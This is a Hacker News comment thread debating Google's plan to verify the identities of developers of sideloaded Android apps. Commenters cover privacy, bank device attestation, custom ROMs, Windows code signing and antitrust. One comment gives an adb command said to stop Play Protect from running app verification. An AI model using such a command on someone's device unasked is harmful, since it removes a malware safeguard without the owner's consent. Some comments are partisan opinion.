This isn't how I've understood the change. My understanding is that developers will need to have their ID verified before they are authorised to allow their app to be sideloaded. So long as they have done that, why would the user need to have a google account to sideload the app? Wouldn't the whole thing be transparent to the end-user (for those vendors who pass the ID verification) and the only thing they'd notice is that they can no longer install the apps from vendors who haven't passed?
But as you said, the check (and denial) is happening at the time the _user_ is trying to do something _they_ wish to do (e.g. install an APK from a project on GitHub).
Much of the ecosystem of Android apps that are only distributed outside the Play store will be affected by this, as many developers won't be able or willing to submit to this process or waive their privacy (especially young developers or those making apps that are legal but often targeted by litigious companies, e.g. emulators, YouTube clients/downloaders, BitTorrent clients, etc.)
I don't deny that there will be less apps available to sideload. However, the claim I was responding to was this one:
"After this change you will have to tell Google your real name and home address to install anything on your Android device."
As far as I can tell (and nobody who has replied has contradicted me so far), that isn't true. I won't have to tell Google my real name and home address to sideload [the now smaller selection of] apps.
Define "normal people".
Due to Chinese phones and sanctions and other geopolitical bullshit a significant part of the world is forced to use alternative app stores already. Yes, these people are very aware of "sideloading". (Due to Google's own previous moronic foot-shooting policy.)
> This is really bad. I think that most people on HN will agree with that.
I may prove to be wrong but I'm looking forward to seeing how this plays out & genuinely think it could be good, holistically.
There's a number of possibilities:
1. This drives most people to Apple & Android dies. iOS is mostly a better product than Android, with the exception that Android is semi-open. This removes Android's only competitive advantage.
2. This drives most people to Apple which motivates Google to do a U-turn.
3. This drives people to Graphene in such large numbers that it gets financial support, & some banks are pressurised into dropping Play Protect requirements.
I honestly don't know which of these 3 is most or least likely but all move us away from the current stagnant position of Google being the best reasonable option of a set of very bad options. A complete Apple monopoly would obviously be bad in the short term but would at least leave an opening for fresh competitors.
You're right of course, most users don't know or care. If they did, iOS wouldn't have a 61% share of the US market.
But the % of the total market that do care is not an insignificant % of the total Android userbase. There's also a spectrum of concern - I'm a long time Android user turned iOS user: I care deeply about sideloading but ultimately the balance of pros & cons shifted for me, & I suspect will begin to for others.
turn people onto sideloaded apps. show them Revanced and NewPipe, show them system-wide ad blockers and bloatware removal and every other thing Google doesn't want plebs to use.
people don't care about "apk side-loading," they care about apps. hook them on forbidden apps, and they'll raise hell when they can't side-load them anymore.
In the EU, you would start a petition to the European Parliament in order to vote on that... Which is a tedious process but has seen some success in some fronts (like the Stop Killing/Destroying Games initiative).
For other countries... Well you get what you vote I guess.
As someone who never comments on HN, I would like to voice my absolute disapproval of this new policy. As these decisions are not made in a vacuum, I have no doubt the recent developments in the political landscape have contributed to this decision (e.g. UK Online "Safety" Act, EU Chat Control, EU Age Verification solution, probably others). Coupled with the recent "mandatory" (read: forced) upgrade of my Pixel 4a, I get the impression Google's attitude towards phones has become equivalent to Apple's: namely, the illusion of choice.
Since there are no viable alternatives, I guess it's time to go back to owning a cheap corporate/government approved phone for official business (i.e. banking), and another one that I actually use.
As an aside, the presentation[0] doesn't really go into the details how they will enforce this (on-device? Remotely? If the latter, can I just remove Play Services from my device to sideload whatever?), but you can apparently submit feedback about the verification process here[1].
For what conceivable reason would they make the users go on desktop, considering mobile is in the process of being fully locked down?
If anything, they'd eventually deny access from desktop, forcing everyone to login via the fully manages mobile devices without any user freedom.
Some banks are already getting there btw, as their preferred 2fa is a companion app... One small step away from making that the only option, effectively denying access to anyone without a locked down mobile device.
It's already that way in my country. The few banks that still have the web version only support it for their business clients, and it's only something like two or three banks. If you're a regular client, there's not a single bank left that you can still use without a smartphone (unless you're ready to visit a branch for every little thing — so pretty much daily).
>(unless you're ready to visit a branch for every little thing — so pretty much daily).
What are you doing that you need to use your banking app daily?
It seems like a once a month affair. Pay the bills, take some cash out of the account, and you're done. Online shopping just needs a credit card, no apps required.
I'm not aware of your circumstances, but at least here in Finland I was able to get (and the bank was required to provide at my request) a cheap 2FA token generator device that can be used instead of the app (Danske ID). It works whether I am confirming an online transaction or signing into a service that uses the Suomi.fi centralized login system.
I requested it after they updated their Android app to have a check for pin-code enablement. Sailfish OS doesn't report it via the Android AppSupport system, so it was blocked before I grabbed an older build via Aurora and disabled it from updating. If it ever stops working, I'll only use the token. Once that stops working, I will switch banks.
My bank’s app doesn’t even work or even install on my phone because the bank considers my phone too old. So if they suddenly required the app to log in, I simply wouldn’t be able to bank with them. So they would lose my checking, investment, and HSA business when I move to another bank.
I think they worded that poorly, but didn't mean what you got from it: the point I'd take isn't that they will require you to have a desktop, but that even desktop will also have the same restrictions, so it isn't just a mobile problem.
And I have to agree, sadly. We've been inching towards that over the years, and it's entirely possible banks cease providing regular web access to their accounts (which this would necessitate).
But I think there will always be at least some banks that will have web frontend, so you'll just have to be pickier.
This happened to me recently in Austria, I had to get a new phone to be able to do internet banking. You can only use the app with attestation from the PlayStore, AppStore or surprisingly Huawai store.
When I complained repeately that this was forcing me into an American or Chinese ecosystem, they said that no one cares and I'm a minority :-(.
What gp is saying is that to access banking form desktop will require an approved OS and attestation just like on mobile.
The current state of affairs is that an approved OS and attestation are only required on mobile but not on desktop
most banks require 2FA or similar to confirm logins and operations. There is no way around it, this is the world we are heading towards: 2 companies in the entire planet decide who and what can be done online.
Actually my bank already requires me to use the phone app for any operation on the website. When I want to login from my laptop I need to use my phone with their app to approve the login, same for almost any operation.
Ah, and it can only be installed in one device at the same time :D Don't have your phone available? Bad luck for you
> can only be installed in one device at the same time
I neither like nor understand this restriction. It makes device failure / loss / theft a much more difficult experience to recover from than it would otherwise be. The device should be throwaway. I specifically keep old phones in case something happens to the new one.
WhatsApp is probably the stupidest example of only being able to be on a single device (but I'm forced to use WhatsApp for one specific purpose, so I already resent it). Signal does the same thing, so maybe it's related to the E2EE that WhatsApp licensed from Signal...
>WhatsApp is probably the stupidest example of only being able to be on a single device
that's not really an artificial limitation but a design choice. They don't store your messages, only deliver them. Once the message is on your device, it's gone from their servers, like old POP3 mail.
I use the Signal fork Molly to get messages on multiple phones. One remains the primary and the others linked, but I get messages even if the primary is off.
The authenticator app that I use for most 2FA can be on multiple devices, and you can export and import some or all of the entries, password protected.
I would be extremely F'd if my 2FA was able to be lost or stolen due to a single device limitation.
I have a huge problem with companies using their own apps for 2FA.
Google started doing this for Gmail. To use Gmail on my laptop, I need to approve it with Gmail on my phone. I never signed up for this. I’m now afraid if I delete the Gmail app from my phone that I’ll lose access to my email.
I hate the direction “security” is taking us. It’s done in the name of security, but it feels more like blackmail to get and keep the company app on your phone.
Is that a thing Google logins can be set to require? I _can_ use the Gmail app on a device for 2FA, I can also press "try another method" and use any 2FA app.
I guess I’ll have to look. It just started happening one day.
One huge fear I have no is breaking my phone while away from home and getting locked out of everything.
I was on vacation several years ago and broke my phone (the only time I’ve ever done that), and got lucky in several ways. I had a 2nd work phone with me. I was able to use that to call an Uber to get to an Apple Store; I was lucky to be in a city with an Apple Store. Then I got lucky again that I was able to talk Apple into giving me a replacement right there instead of a repair, they happened to have a single phone in stock to do that with. Then I got lucky yet again when I went to set it up, because I had an iPad with me by dumb luck, which was able to do my Apple 2FA that I didn’t sign up for.
If I go somewhere with just my 1 phone and no second device… I’m thinking I need to setup and bring a bunch of recovery codes, which has its own risks. My plan would be to cryptically write them down and put them in a money belt, as if those got into the wrong hands I’d be screwed.
I really don’t know what people do who only have a phone and nothing else. It seems they would always have this risk.
i do like how many apps are starting to play nice with 3rd party authenticators. i use ms authenticator for a bunch of things. Although knowing MS it has some massive license fee for them to support.
De facto, this is already the case - you can use your computer as a display but to actually authorize a login or transaction you need your phone with said attestation.
True for PayPal though. I just recently had to jump through seven different hoops to verify my ID (with creepy, creepy face scans) and they absolutely refused to even start the process on desktop. Eventually got the stupid thing to work on my iPad; Android+Firefox was a no go, and it's stock Pixel 5a with Google OS.
Thankfully I don't actually rely on PayPal for anything serious, but there are artists whose commission I like to pay, and being able to actually pay them would be nice. :/
For logins, at least, they support passkeys on the desktop as well, so long as the browser does it. Which basically means Win11 or macOS, either some Blink-based browser or Safari.
I use my yubikey on both my android and linux (tumbleweed) with exclusively firefox, I have not found something that does not work.. Maybe you mean non-hardware passkeys built into the os? But one could just use keepassxc or like bitwarden, those work in Firefox and Linux as well
How it generally works iso low risk operations have no restrictions, but if you want to send a large amount of money to a new contact, the banks make you approve the transaction on the phone app.
Phone apps are generally significantly more trusted because of the fact you can’t install malware that steals the session token, and they can do a Face ID check before any risky operations.
I'll just have to disable it and choose a banking app that works on the browser. Tonnes of my apps are sideloaded. Quite a few are on the playstore or the dev might upload their details.
How will you login to the banking app in the browser without a locked down phone? In Germany, MFA is enforced and with many banks the only allowed second factor is an app on a phone.
Even aside from the privacy implications (which aren't trivial themselves,)
Doesn't this make it prohibitively difficult to do local builds of open source projects? It's been a long time since I've done this, but my recollection was that the process to do this was essentially you would build someone else's (the project's) package/namespace up through signing, but sign it locally with your own dev keys. A glance at the docs they've shared makes it sound like the package name essentially gets bound to an identity and you then can't sign it with another key. Am a I misremembering and/or has something changed in this process? Am I missing something?
Not just difficult - it becomes impossible. You can no longer develop any android app without Google's approval, just like iOS. The official emulators might not even work.
A repo is just files in a directory, so the namespace can be changed, but the whole thing stinks. Having to setup Android signing keys and needing to provide ID is not fun.
It means you won't easily be able to run builds on Google certified Android devices that aren't from "approved" people.
That's where the "prohibitively difficult" part comes in... surely they don't expect every developer on every open source app in the world to have their own app registration/package name for the same app, do they? Feels like an N * M problem, if so.
And thus accelerates Google's push away from APKs, preferring instead for all developers to embrace their proprietary App Bundle format. Complete with ad hoc signing performed by the Google Play store at time of download. The bundle is also customized to the device, meaning an .aab file ripped off a device won't necessarily be loadable on another device since it could have different configurations/hardware that happen to limit it.
I think anyone who works as a dev knew this was Google's endgame the moment they started circling the wagons with the app bundle stuff. It was already getting weird before that, but it was uncharacteristically out of step with historic Android.
The article didn't say much about the account approval process, but from the looks of it Google will be able to arbitrarily accept and revoke applications as they see fit. So much for an open platform, bring forth the gatekeeping!
Personally I would be fine with unsigned apps requiring the user to click through a notice before install, or having a setting to toggle to enable unsigned apps. Windows does something similar to this where unsigned binaries get a pop up warning but signed ones are executed immediately.
What they say they want to accomplish could be almost 100% accomplished with self signed certificates. Or public certificates like letsencrypt etc. if you absolutely have to have third party attestation of the key.
The fact they incidentally position themselves as the only gatekeepers rather than accomplishing the same without doing that tells you all you need to know about their intent.
The reason I chose the Android ecosystem over the Apple ecosystem, once I found out that the Maemo/Meego ecosystem was a dead end and the Openmoko ecosystem was a non-starter, is that the Android ecosystem allowed me to develop and install my own apps on my own devices whenever I wanted to, without arbitrary limitations like having to periodically plug the phone into my computer to renew some authorization. Additionally, there was even for some devices the possibility of rebuilding the whole operating system with any changes I desired.
If I'm not allowed to develop and install my own apps on my own phone, what advantage does Android have over Apple?
They are cheaper and come full of spyware preinstalled by manufacturer and carrier.
Customer see the price advantage, everyone else see the data harvesting (including Google). Everyone benefits in selling cheap Android phone.
Now you would be pretty stupid to buy 1k€ Android phone like Samsung ones because they still come with preinstalled and privileged Samsung, third party and Google spyware.
For instance, my s23 had 3 preinstalled meta app. 2 systemized app, 1 was Facebook client.
> without arbitrary limitations like having to periodically plug the phone into my computer to renew some authorization
I find it easier to do a git commit once every 89 days and see my app auto refreshed through Testflight for me and anyone else I care to let use it.
If you look at the build system SaaS pricing or even IDE pricing on Show HNs here, the Xcode cloud build and distribution ecosystem is an absolute steal at $9 a month. Private Testflight (with no review) can be more convenient than that desktop cable.
> the Xcode cloud build and distribution ecosystem is an absolute steal at $9 a month. Private Testflight (with no review) can be more convenient than that desktop cable.
I genuinely can't tell whether this is sarcasm or not. Are you seriously comparing a 9$ per month plan Vs simply plugging your phone or syncing an app file wirelessly?
Makes sense why they had to get rid of the "don't be evil" motto. They've been on a roll.
I've seen a lot of similar sentiment on this thread, but the reason I use Android is because it gives me more control than iOS by allowing full-on painless sideloading, and custom distributions like GrapheneOS. They're doing everything they can to turn themselves into a worse Apple. All of the downsides of Apple, but none of the upsides. Apple beats them in every aspect that isn't "openness".
When will the straw break the camel's back? I'm shocked we've let it get to this point with no realistic alternatives. There's no reason a competitive Linux-based smartphone can't exist (no, I'm not counting Android in that).
> There's no reason a competitive Linux-based smartphone can't exist (no, I'm not counting Android in that).
Yes there is. You all don't understand that they will use remote attestation to force everyone to use approved devices with signed apps on signed OSes only
You won't be able to bank, call a cab, write a chat message, watch a youtube video or do anything relevant on a device anymore that isn't signed, approved and controlled by google. They've made us cattle and now they are going to milk us dry.
I wish there was a path to victory here. MAYBE there's an antitrust complaint to be made in the EU. But it's already being used against me everyday as a grapheneos user there are several services i am barred from using for no reason.
> There's no reason a competitive Linux-based smartphone can't exist
There is; it's the "phone" part of "smartphone". Being a phone makes the device subject to a lot more requirements (for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number).
In my country, only cell phones certified by the government telecommunications agency (Anatel) can be imported, so I can't for instance go to the Jolla or PinePhone store and buy a Linux-based smartphone; if I tried, it would be sent back the moment the package entered the country. (See https://www.gov.br/anatel/pt-br/regulado/certificacao-de-pro... for details.)
> There is; it's the "phone" part of "smartphone". Being a phone makes the device subject to a lot more requirements (for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number).
Funnily, Google is one the few phone manufacturers who can’t make emergency calls to work. (e.g. search Pixel problems)
> for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number
Why are Pixel phones allowed to be sold then? Google broke emergency calling on a least three different models, and at least once across models.
> Makes sense why they had to get rid of the "don't be evil" motto.
I hate how this always gets brought up because:
1. Evil has no definition, so it means nothing. They get to define what evil is for themselves. They stated their reasons they think this change is good. You can't prove it breaks their code of conduct.
2. It's straight up false, it's still in their code of conduct:
> And remember... don’t be evil, and if you see something that you think isn’t right – speak up!
If this is enforced via Play Protect, then the whole mechanism can likely be disabled with:
adb shell settings put global package_verifier_user_consent -1
This does not require root access and prevents Android from invoking Play Protect in the first place. (This is what AOSP's own test suite does, along with other test suites in eg. Unreal Engine, etc.)
I personally won't be doing this verification for my open-source apps. I have no interest in any kind of business relationship with anyone just to publish an .apk. If that limits those who can install it to people who disable Play Protect globally, then oh well.
I really hope this ends up being possible! Play Protect seems to jump up every so often and try to scare me into turning it on. Very annoying. I've wanted to disable Play Protect permanently, but never did the query to learn how, so thank you.
There could of course be side effects in the future when this restriction is rolled out, as in your device's Play Integrity status could be affected and your banking app/phone wallet might not let you perform app-based payments from that device.
I never really got into "phone" progrmaming, always waiting for the shenanigans to die down. But somehow the shanigans have gotten worse and for a significant chunk of the world population, the phone is the only computation device they have at all.
I never got into it because I was convinced developers would refuse to give up control over distribution when Apple started doing it. I wish I was right, but here we are.
Developers sometimes seem to be as in control as farmers are of the distribution of their produce. There's no absolute rule that gives the owners of large scale distribution networks power over both producer and consumer. It's just laws of convenience. It's easier for everyone to go through a few or just a single common broker.
There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?
It limits choice. I don’t have any experience building mobile apps because I didn’t want to buy into an unfair ecosystem. That means fewer mobile apps even if distribution networks change tomorrow.
> I don’t have any experience building mobile apps because I didn’t want to buy into an unfair ecosystem
Seems like it wouldn't be much of a stretch to compare that statement to not starting a business because the economy is unfair. People indeed don't start businesses when the bureaucratic or tax overhead outweighs the financial benefit, but nobody loses sleep over an individual's hypothetical missed opportunity to learn a new skill but them. Doesn't matter to the platform owners unless it also stops being profitable, so it's their job to maintain the profitability for their ecosystem despite whatever barriers they put up.
> There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?
It's not enough to not have a law against it, we need to have and enforce laws requiring it.
I'm not so sure that we can even rely on legislation for this. I think we need new ways or new technology for collective decision making that doesn't rely on a pre existing healthy legislative environment.
Some developers did. Others, who didn't care so much, got into the app store instead, and got rich off it. Users didn't care about such principles and mobile-first has been a viable strategy for a long time now. Not having something of an app is a problem if you want to stay in many markets.
Developers want a stable, secure platform where they can reach customers that trust the platform and are willing to transact. Everything is downstream of that, including any philosophy around control.
Developers are businesses and the economics need to work. For that, safety and security is much more important than openness.
Oh! Classic Survivorship bias. You're only looking at the devs who went into business in the phone ecosystem in the first place. I'm thinking that they're there despite the barriers to entry ('shenanigans'), and the ones you encounter happen to be those who happen to place a higher value on 'other values'. As the ecosystem gets locked down more, this effect becomes stronger.
Meanwhile, you're not looking at those who left, or those who decided to never enter a broken market dominated by players convicted of monopolistic practices.
This seems much more intuitive than a hypothesis where somehow people would prefer to enter a closed market over a fair and open market with no barriers to entry.
Remember, monopolists succeed because they are distorting the market, not because they are in fact the most efficient competitor.
You now need to have an online account to setup and login on a Windows desktop. It's obvious what the trend is and it's not allowing consumers control over their stuff.
Just look up how to skip the "OOTB (out of the box) experience" and you can still bypass having to set up a cloud account on Windows 11 and can just set up a local account like normal. :)
I have been a computer user, developer and a system administrator for longer than I care to recount. I don't like Windows and I don't use it at work or home. But I do encounter it from time to time, and the experience is worse each time. The last time it happened, I couldn't figure out the way to skip/bypass the cloud account set up. Would it have been possible if I tried harder, starting with a web search? Perhaps. But there is no way an average system user is going to have the patience or often the skill necessary to do it. I'm not challenging their intelligence. But people have other priorities than to jump through a dozen hoops just to preserve privacy. I would do the same if I had to set up a Windows system for urgent work.
These sorts of hurdles exist to push more and more users to their favorite workflow until the dissenting voice is too feeble to notice when they finally pull the plug on the straightforward method. The intent is certainly there, since they are quite evidently boiling the frog. Just wait for the fine day when you wake up in the morning to see an HN story just like this one about Windows login as well.
I was using Linux for 10+ years consistently before starting my current role, which is for a Windows-only business. And my god, the first few months was super annoying. ctrl+alt+t doesn't open a terminal?! click, click, click. No Vim. Wtf.
Setting things up was much more complicated as well. But I stuck it out, still hate Windows, but I've gotten a bit used to it.
> But there is no way an average system user is going to have the patience or often the skill necessary to do it.
> But I stuck it out, still hate Windows, but I've gotten a bit used to it.
So you tolerate it. Matches what I felt. But it was more the stuff I couldn't control - like the timing of the updates and the incessant ads.
> It's like two commands. Super easy.
For you, yes. But problem for the average user is the patience required to figure it out. Also, I think the edition I used didn't have that option at all. Because I vaguely remember searching for a solution and not finding one that worked for me. Whatever it was, it will soon be like that for more or less everyone.
That's why most people are not on Linux. I'm not talking about people who can search the internet or kids who just keep at it till they figure out the registry in two days. I'm talking about people who have absolutely no interest in the machine other than to browse the internet or use the office suite. Surprisingly, there are far more of such people than you'd imagine.
With how much worse the experience of using Windows has gotten, why wait? Many hills have already come and gone. This is the hill you're willing to die on?
i made and released some apps in the early days. Got tired of it and got tired of the reminders from google to add banners, screenshots, submitting icons to support multiple resolutions.. notifications that apps i haven't touched in decade are no longer compatible etc.
so much extra work involved that isn't building the app.
Got tired of this with a few extensions I made too. It felt like every year or so they'd completely break some API and I'd have to go switch to the new one, then they wanted a privacy policy, then justification for permissions, etc etc. Wasn't worth the trouble eventually and I just let them die.
We have 2 ecosystems for mobile and the worst case scenario is starting to be clear for Android.
I love GrapheneOS but they can only thrive if Google tolerate them. So in its current form, this is not a medium or long term solution (anymore).
We really cannot afford to think in terms of "Android OS" or open source OS anymore the problem is getting much bigger.
My guess is soon in many "free" countries, ISP will mandate connecting with a "Certified" device (someone was saying that in Brazil only cell phones certified by the teleco government agency can be imported already). And on mobile it is easy to implement since you need a (e)SIM.
The Internet is still hard to control at the protocol level, but the gates are easy to mostly control (your ISP).
In terms of mobile computing I mostly care about being able to access my home network from the places I am 80% of the time (and I can always bridge to the Internet from there).
So the real battle is really at the mesh and multi-hop mobile ad hoc networks. This is the aspect we neglected for 25 years.
Regarding mobile, the battle for Android is lost, time to look into things like B.A.T.M.A.N [0] so we be able to keep another open source mobile platform useful.
For anything "money" related, your bank (which is inevitably regulated) will have to mandate a certified device too.
It will work on (some) Linux too.
Ever wondered why for example the Fedora project [1] is proudly part of things like The Digital Public Goods Alliance [2] who works with many govs and if you really look into it they are all about digital ids and "restoring trust"?
Absolutely. Governments everywhere are now pushing for online identification to access online resources. This is not a coincidence.
Google is - imho obviously - in contact with governments. You will need to reveal your verified, online identity in order to create a app. Even if you are just a hobbyist putting the app on your own phone.
1984 was supposed to be a warning, not a handbook.
Thank you, all HNers at Google, for continuing to work there.
And yes, before you ask, I have personally quit a job that paid 3x what I was able to get elsewhere over ethics. And no, I'm not rich, probably bottom 5% in terms of assets among my colleagues, coming from a lower-class background.
What the hell do the antitrust people in the US do? Google should have been chopped to bits a decade ago and Microsoft buying Github is just nonsense. Way too much potential for abuse all around.
Nothing apparently. We've stopped caring. If it's not about getting rich right now in this lifetime then it's not worth doing. I'm also convinced governments have realised monopolies are good for them. You don't need a big government if you control the few massive corporations everyone has to use.
You're giving the government too much credit. They're not even that competent at malice. It's the large companies that control it by lobbying, not the other way around.
Yep, at this point aiding google is simply inexcusable. Taking into account the scale of the harm to humanity, what is being done by these google developers is truly evil. These developers cannot feign ignorance. Not with this level of harm.
I wonder if the individuals implementing this will ever be held accountable for their crimes. I would certainly be in support for it.
It's always so rich to see comment sections on here when there's an article about a place like Palantir when the likes of Google and Meta play an even so much bigger role in enabling mass surveillance. I'm sure they'll tell themselves "well but I for one am working on something good like Waymo, or as innocuous as Google Sheets! And we don't kill people!! (please don't look at who provides the underlying services that defense runs on)". While the exact same is said by most employees at those companies they criticize so hard.
Sure, no one's perfect, and you have to draw a line somewhere. But if you're at somewhere like Google or Meta, or have been in the last decade and left for other reasons than these, you really don't have a leg to stand on in these discussions.
The way that it works is that most of the people there are not concerned with the topic, and if they are, they will be willingly gaslit into the official excuse which is provided to us, too. It being that it will greatly improve the security for the common folk.
The mechanisms are just the same as political discourse on other topics currently in UK, just much worse, because people's livelihoods actually depend on that.
> Google will begin to verify the identities of developers distributing their apps on Android devices, not just those who distribute via the Play Store
This is absolutely unacceptable. That's like you having to submit your personal details to Microsoft in order to just run a program on Windows. Absolutely nuts and it will not go as they think it will.
Microsoft will do this. They just have to go a little more slowly than Google or Apple because there's such a long history and expectation of being able to run any apps. But they're gradually working their way there just like Google and Apple.
Starts with scary warnings for unsigned apps (with a workaround), then they start imposing extra restrictions for unsigned apps, and then they make the SmartScreen workaround more difficult to enable (maybe it needs a registry edit), then they'll remove that workaround in certain markets/editions (maybe the Home version first). Finally they'll remove it everywhere.
How will it go? Where are people going to go? People who draw a hard line on this can’t go to iOS for more freedom. Linux phones aren’t ready for prime time. So what’s left? Going back to a flip phone that doesn’t even have the capability of running apps in the same class?
Aside from the prospect of bad press and user protest - There are still non Play Protect certified Android phones being released, including a few rare phones that skip the Play Store altogether (including the Fire phones). So they could lose at least a little bit of ground in this area. In a sense, they are in competition with their open source offering, even though they have a lot of control over it these days.
It could also make jailbreaking more commonplace, which on the Android side has died down in recent years because sideloading is enough for most users.
What is the killer app people are sideloading these days? For people to get onboard they need to feel like they are really missing out on something they find valuable. iOS doesn't have sideloading (outside of some TestFlight loopholes), and I don't see anyone is real life talking about it. It's just activists for this kind of thing online.
I don't think the average user feels like they are really missing anything, which makes it a hard sell.
I've gathered that various cell networks won't let me use VoLTE on my unlocked phone with forks. I've been reluctant to install LineageOS because of that.
I'm going to be buying Apple from now on. If I have no choice and I have to be in a walled garden, I'm going with the best dammed walled garden on the market.
This isn't even going to be some sort of an ideological decision. It's simply the intelligent choice.
Isn't it basically the same requirement as Apple enforces for iOS? If you want to build an iOS app which other users can install, you must register (and pay).
It's a step of questionable utility, and I suspect it comes from requirements of (not exactly freedom-loving) governments of Brazil, Malaysia, and Singapore, where the demand for registration will be enforced first. Maybe it will even remain geographically limited.
The article is very light on details. Crucially, it lacks any links to actual Google documents.
To meaningfully challenge it, developers need to agree to withheld supply like a cartel (illegal?) or union.
I think it’s probably close to the union scenario in an industry with a single employer, as there is that one too many relationship (all developers vs Google). Whereas a cartel is a few suppliers conspiring against all consumers.
I’m not sure developers would go to those lengths, and I’m not sure it would work either as the benefit is too high from defecting from such a coalition.
It's not illegal to not release your software on a platform. But the mobile market is so top-heavy on both the apps and the games side, that without a few key developers - Meta, ByteDance, Tencent, etc your union is dead in the water - and the top 1% of developers would very much like to more friction for new developers, not less.
If Apple or Google convinced a court you formed a cartel then that's the end of the story. Whether it's a cartel in the eyes in the public would be irrelevant.
They did it the right way for a very long time and yet people keep buying iPhones, I think I would do the same if I were them, users clearly don't seem to care about openness and freedom to use their devices however they want. I mean, people care about the color of archaic text messages. There is nothing to save.
iOS market share: 56% in Australia (where I live) [1]; 58% in United States [2]; 47% in UK [3]; 64% in Japan [4]; 60% in Canada [5]; 55% in Denmark [6]; 54% in Switzerland [7]; 55% in Sweden [8].
Yes, I've cherry picked from the minority of countries with near or over half iOS market share. But, they're all high GDP countries with a very valuable customer base. Apple and Google care about these markets, they don't care about global market share.
The nice thing about Windows is that you don't have to. You will need to pay a couple hundred dollars for a certificate and have the first couple hundred people who open your signed executable click through your warnings though.
Yes, you can turn off smartscreen (for now) but opening random executables is getting harder and harder.
Ah, then it would be acceptable if an independent third party who does not share data with Google other than Boolean yes/no was used to do this. I expect that’s their long-term plan anyways, to defuse the predictable backlash and externalize the problem and liabilities altogether, once the initial ID harvesting is done.
Uh, you kind of already do if you don't want to get the scary "unknown publisher" thing, which hides the "yes, I really want to install it" inside the "more info" box. Not even the decency of an "advanced" button.
Installer software signing certificates that will satisfy MS are prohibitively expensive for hobbyists (hundreds per year).
While this did funnel countless FOSS and commercial developers to pay MS for certificates, it didn't close even 50% of loopholes. You can still execute third party software from your own (e.g. Steam launching games you install with it). You can also use interpreters, JVM and other ways to disregard the requirement.
If fact, the reason why MS can charge for "nearly mandatory" executable signing is because it is not mandatory at all. If they really were forced to close loopholes, they would have made it free for everyone, — just like Let's Encrypt was made free of charge to establish mandatory encryption across the Web.
Their comparison to airport security is apt. The US considers airports “constitution free zones”, and apparently they think the same of phones now too.
Cutting through the excuses, this is just another step in converting the US from a democracy to a fascist dictatorship.
Yeah, it's like we've given up. Between third-party doctrine, border enforcement being excluded from 4th amendment protections, and 100-mile zones around international airports being considered "the border", it's like there's no place left where the constitution applies. How did we forget why we made these rules in the first place? It's not like the risks are smaller today than they were 250 years ago...
I'm not sure it's so much that we forgot why we made them, it's that we forgot we need to maintain and enforce them and they won't somehow automatically prevent oppression just by being written down on a piece of paper in the national archives.
The US considers airports “constitution free zones”
And the rest of the country as well now. The highest authority is threatening municipalities with military takeover.
Corporations are reading the room and pulling out any hostile tactic they've kept in their back pocket waiting for an occasion like this.
This is only the beginning with digital IDs. It's absolutely going to get worse and all of human history is available as evidence to what occurs with unchecked power.
USA was a democratic country just less than a year ago. Are there constitutional ways to remove a bad actor or a traitor from the power?
It looks like pattern there is that a some powerful guy or company just removes rights and freedoms we had by small pieces. Those small pieces are not worth to fight for, until frog is boiled alive.
Narrowly filtering the erosion of civil liberties through partisanship misses the larger picture. Both goal posts consistently trample civil rights. The purported motives vary, as do the demonized classes. Regardless of how valid those motives may be, the results consistently erode civil liberties.
I mean if you want to avoid smartscreen BS you already need to sign your Windows executables with EV code signing cert that is not cheap and issued only to registered businesses sooo...
Why would it not go as they think it will? The big guy always wins against the little guy. The fact they make this move suggest they know it is a sure bet.
Sounds like you haven't used an Android. What Windows does is the exact same as what Android currently does, showing lots of warning screens. Which is very different from banning them altogether.
If an executable isn't code-signed, Windows SmartScreen displays a big scary "This file may harm your computer" warning box, requiring multiple clicks to get past. Been like that for years.
Code-signing certs used to be very expensive and annoying to obtain. The situation has improved a lot since the launch of Azure Trusted Signing, and now it's roughly on par with the cost and annoyance level of code-signing for Mac binaries.
Big scary box might as well be outright disallowing, since someone who isn't 100% sure about your software will likely be dissuaded by the warning. But if they want to install it, then they can.
My understanding of the article is that there is nothing that a user will be able to do to install your software.
> “developers [that we approve] will have the same freedom to distribute their apps directly to users through [installation] or to use any app store they prefer.”
So long as they don't make it very hard to get an ID approval, I don't see why people shouldn't know who developed an app.
Currently the entire ecosystem is riddled with malware, spyware, or adware with shady source information and people have no way to verify the data practices
They have the ecosystem by the balls. Phone manufacturers in recent years have been making unlocking & modifying their devices more and more difficult, google and app developers have been cracking down harder on modded devices by implementing TPM equivalents in the hardware to sign and verify that your system is a google-appproved one, and alternatives still are decades behind in terms of app ecosystem.
I would say this is a bold choice for a company whose existing restrictions around third party apps and stores and in-app purchases has already been found illegal. While it doesn't look like they're pushing for it right now, forcing Google to sell Android was something the DOJ has considered as a penalty.
I'm not sure Google still has the ecosystem by the balls. It's very possible whatever Googlers who made this decision are the type of folks who don't comprehend they work for a monopoly that like actually can't do things like this anymore.
> and alternatives still are decades behind in terms of app ecosystem.
That's if they're available at all. In my country, only cell phones certified by the telecommunications government agency (ANATEL) can be imported, so the alternatives (Jolla, PinePhone, Fairphone) simply don't exist.
It's incredibly obnoxious when people type "in my country" as if we're all supposed to just... know where they live. It's also incredibly common. Why do people do this?
The actual country is not relevant, the important part is that countries exist where this is the case. Mentioning the specific country invites potential bias that means people may not take the concern seriously, thinking their country wouldn't do the same.
Asking where somebody's from and having them respond with the state is not unreasonable -- you can already tell they’re American from the accent. The US is huge, about half of its states have more land area than half of the countries in the world. Asking where someone is from and receiving "the US" in response is about as informative as someone from Europe replying "Europe". Like yeah, obviously, I could tell by your accent, but where in Europe?
Funny thing is that americans do that all the time, even in international settings like a coworking space full of expats. Everybody introducing themselves with a "hi, I'm from this country", except americans telling their state or city. Are they expecting us to be familiar with their geography, or just unaware of alternative geographical frames of reference?
I don't think that is strange at all. If you can reasonable assume the person you are talking to is aware of e.g. England, Minnesota, Scotland, Tasmania, Sicily or what not you can go straight for that?
I'd think passive recognition of a fair few states would be a pretty low bar for relatively educated, English-speaking people. It's a pretty low bar, just placing a region with its country. People also regularly just assume that level of knowledge for globally- or culturally-relevant cities.
Maybe I think too highly of people, but I'd also imagine most would be able to get say... 6/10 right, for which countries the following list is from:
Yeah, I'll just ditch Google over this. The only reason I put up with their crap is because I can actually just install software on my phone. If they take that away, there's no motivation to stay.
